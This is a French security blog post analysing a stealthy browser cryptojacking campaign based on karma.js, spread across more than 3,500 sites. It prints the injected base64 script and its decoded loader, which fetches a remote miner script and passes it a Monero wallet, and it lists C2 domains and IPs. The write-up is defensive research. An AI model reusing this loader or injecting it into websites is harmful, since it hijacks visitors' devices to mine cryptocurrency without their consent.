L'essor et le déclin (et le retour) du minage en navigateur
C'était en 2017 quand Coinhive a fait irruption sur la scène, en intégrant directement un mineur de Monero dans des sites web. Les utilisateurs minaient de la cryptomonnaie à leur insu pendant leur navigation, transformant leurs appareils en machines à profits silencieuses pour les propriétaires de sites.
Pendant un bref instant, cela semblait être une situation gagnant-gagnant : les sites web généraient des revenus sans publicité, et les utilisateurs évitaient les pop-ups intrusifs. Mais lorsque le taux de hachage de Coinhive atteignit 12 % de la puissance totale du réseau Monero, les ralentissements des appareils et la décharge des batteries déclenchèrent une vague d'indignation publique.
En 2019, les navigateurs comme Chrome et Firefox bloquèrent le CryptoJacking en navigateur, et Coinhive ferma ses portes.
Le cryptojacking semblait bel et bien mort.
Mais en cybersécurité, la mort est rarement définitive…
Un déclin mystérieux (et un bug dans la matrice)
Chez cside, nous suivions les campagnes de cryptojacking depuis des années. Fin 2024, nos tableaux de bord affichaient une forte baisse d'activité. Les charges utiles de minage étaient bloquées plus efficacement, et les attaquants semblaient être passés à des cibles plus lucratives comme les ransomwares ou le vol d'identifiants.
Puis, un mardi ordinaire, notre crawler a signalé quelque chose d'étrange : un fichier JavaScript tiers chargé depuis https://www.yobox[.]store/karma/karma.js?karma=bs?nosaj=faster.mo.
L'URL elle-même était un signal d'alarme — un paramètre aléatoire, une requête absurde nosaj=faster.mo. Mais ce qui a vraiment déclenché les alertes, c'est le comportement du fichier :
- Aucune requête réseau (à première vue).
- Aucun pic CPU évident dans les tests en sandbox.
- Pourtant, notre IA l'a signalé comme malveillant.
Ce n'était pas le cryptojacking bruyant et gourmand en ressources de 2018. C'était… silencieux.
Injection sur le site web :
<script defer="" src="data:text/javascript;base64,KGZ1bmN0aW9uKGQsIHMsIGlkKXsKICAgIHZhciBqcywgZmpzID0gZC5nZXRFbGVtZW50c0J5VGFnTmFtZShzKVswXTsKICAgIGlmIChkLmdldEVsZW1lbnRCeUlkKGlkKSl7IHJldHVybjsgfQogICAganMgPSBkLmNyZWF0ZUVsZW1lbnQocyk7IGpzLmlkID0gaWQ7CiAgICBqcy5vbmxvYWQgPSBmdW5jdGlvbigpewogICAgICAgIEV2ZXJ5dGhpbmdJc0xpZmUoJzQ3TnNhRXdoYms5MkNmaWJNSmc4TThoSjczTEtEdjlOVGpOdEhMRkg2RVFFMnNBVWRnbndQYzIzMWdnaGYzcllCdkM2Y1h2Z0xhaEpLYTRyaXFRQnhiVDFIQmpRaEZ1JywgJ3dlYicsIDUwKTsKICAgIH07CiAgICBqcy5zcmMgPSAnaHR0cHM6Ly90cnVzdGlzaW1wb3J0YW50LmZ1bi9rYXJtYS9rYXJtYS5qcz9rYXJtYT1icz9ub3Nhaj1mYXN0ZXIubW8nOwogICAgZmpzLnBhcmVudE5vZGUuaW5zZXJ0QmVmb3JlKGpzLCBmanMpOwp9KGRvY3VtZW50LCAnc2NyaXB0JywgJ2JhY2t1cC1qc3MnKSk7Cg=="></script>Le Base64 se décode en :
(function(d, s, id){
var js, fjs = d.getElementsByTagName(s)[0];
if (d.getElementById(id)){ return; }
js = d.createElement(s); js.id = id;
js.onload = function(){
EverythingIsLife('47NsaEwhbk92CfibMJg8M8hJ73LKDv9NTjNtHLFH6EQE2sAUdgnwPc231gghf3rYBvC6cXvgLahJKa4riqQBxbT1HBjQhFu', 'web', 50);
};
js.src = 'https://trustisimportant.fun/karma/karma.js?karma=bs?nosaj=faster.mo';
fjs.parentNode.insertBefore(js, fjs);
}(document, 'script', 'backup-jss'));
Trustisimportant[.]fun redirige l'utilisateur vers yobox[.]store, depuis lequel le JS malveillant est téléchargé.
Déboguer le fantôme : un tutoriel JS 101
Nous avons chargé le script dans un environnement contrôlé pour le disséquer. Voici notre approche :
Étape 1 : Construire un sandbox de débogage sécurisé
Nous avons encapsulé le JS dans une page HTML simple avec une Content Security Policy (CSP) pour permettre le débogage sans déclencher les blocages du navigateur :
<!DOCTYPE html>
<html>
<head>
<meta http-equiv="Content-Security-Policy" content="script-src 'self' 'unsafe-eval' 'unsafe-inline'">
<title>Debugging Karma</title>
</head>
<body>
<script src="karma.js"></script> <!-- The malicious file -->
</body>
</html>
La directive unsafe-eval était indispensable, car le script utilisait une obfuscation de type eval pour dissimuler sa logique.
Étape 2 : Insérer des points de débogage
Nous avons ajouté des instructions debugger; à des endroits clés pour mettre en pause l'exécution dans Chrome DevTools. Par exemple :
function _0x6BE7() { // A WebSocket setup function
debugger; // <-- Execution pauses here
if (ws != null) { ws.close(); }
// ... rest of code
}Étape 3 : Décoder l'obfuscation
Le script était un labyrinthe de variables renommées (par exemple, _0x6AC1, _0x6B23) et de chaînes encodées. En utilisant l'onglet Sources dans DevTools, nous avons :
- 1.Défini des points d'arrêt pour parcourir l'exécution pas à pas.
- 2.Surveillé les variables pour identifier leur rôle réel (par exemple,
_0x6B85vérifiait si l'appareil était mobile). - 3.Tracé l'activité réseau via l'onglet Network, révélant des connexions WebSocket vers wss://lokilokitwo[.]de:10006.
La découverte clé : un mineur silencieux
Le script ne minait pas directement de la cryptomonnaie. À la place, il :
- Vérifiait la prise en charge de WebAssembly (pour évaluer la puissance de l'appareil).
- Créait des Web Workers en arrière-plan (tableau
worcy) pour exécuter les tâches de minage sans bloquer le thread principal. - Utilisait des WebSockets pour recevoir des commandes du serveur C2, ajustant l'intensité du minage en fonction des capacités de l'appareil.
Il s'agissait d'un mineur furtif, conçu pour échapper à la détection en restant sous le radar des utilisateurs comme des outils de sécurité.
La vue d'ensemble : plus de 3 500 sites infectés
L'investigation a mis au jour une campagne d'envergure :
- Plus de 3 500 sites web chargeaient le fichier malveillant karma[.]js.
- Infrastructure réutilisée : le domaine trustisimportant[.]fun était lié à la fois à des campagnes de cryptojacking et à des campagnes Magecart (skimming de cartes bancaires). Les attaquants diversifiaient leurs charges utiles.
- IPs clés : 89.58.14.251 et 104.21.80.1 agissaient comme serveurs de commande et contrôle (C2).
La devise de la campagne ? « Rester discret, miner lentement. » En limitant l'utilisation du CPU et en dissimulant le trafic dans des flux WebSocket, elle évitait les signes révélateurs du cryptojacking traditionnel.
CryptoJacking 101 : qu'est-ce que le CryptoJacking et comment fonctionne-t-il aujourd'hui ?
Le cryptojacking moderne a évolué vers une attaque silencieuse et multi-étapes :
- Scripts dropper : des fichiers JS malveillants (comme karma[.]js) sont injectés dans des sites web.
- Vérifications de l'environnement : le script vérifie la prise en charge de WebAssembly, le type d'appareil (mobile ou bureau) et les fonctionnalités du navigateur pour optimiser le minage.
- Création de workers : des Web Workers sont créés pour exécuter les tâches de minage en arrière-plan, évitant ainsi les signaux d'alerte liés aux performances.
- Communication C2 : des WebSockets ou des requêtes HTTPS récupèrent les tâches de minage et envoient les résultats aux serveurs C2.
L'objectif n'est pas de vider les appareils instantanément, mais de soutirer des ressources de façon persistante dans le temps, comme un vampire numérique.
Conclusion : le jeu du chat et de la souris continue
Le cryptojacking n'est pas mort — il est simplement devenu plus intelligent. Les attaquants privilégient désormais la discrétion plutôt que le vol de ressources à la force brute, en recourant à l'obfuscation, aux WebSockets et à la réutilisation d'infrastructure pour rester cachés.
Cette tendance aux attaques côté client est en constante progression.
Le besoin d'une véritable prévention du CryptoJacking est bien réel.
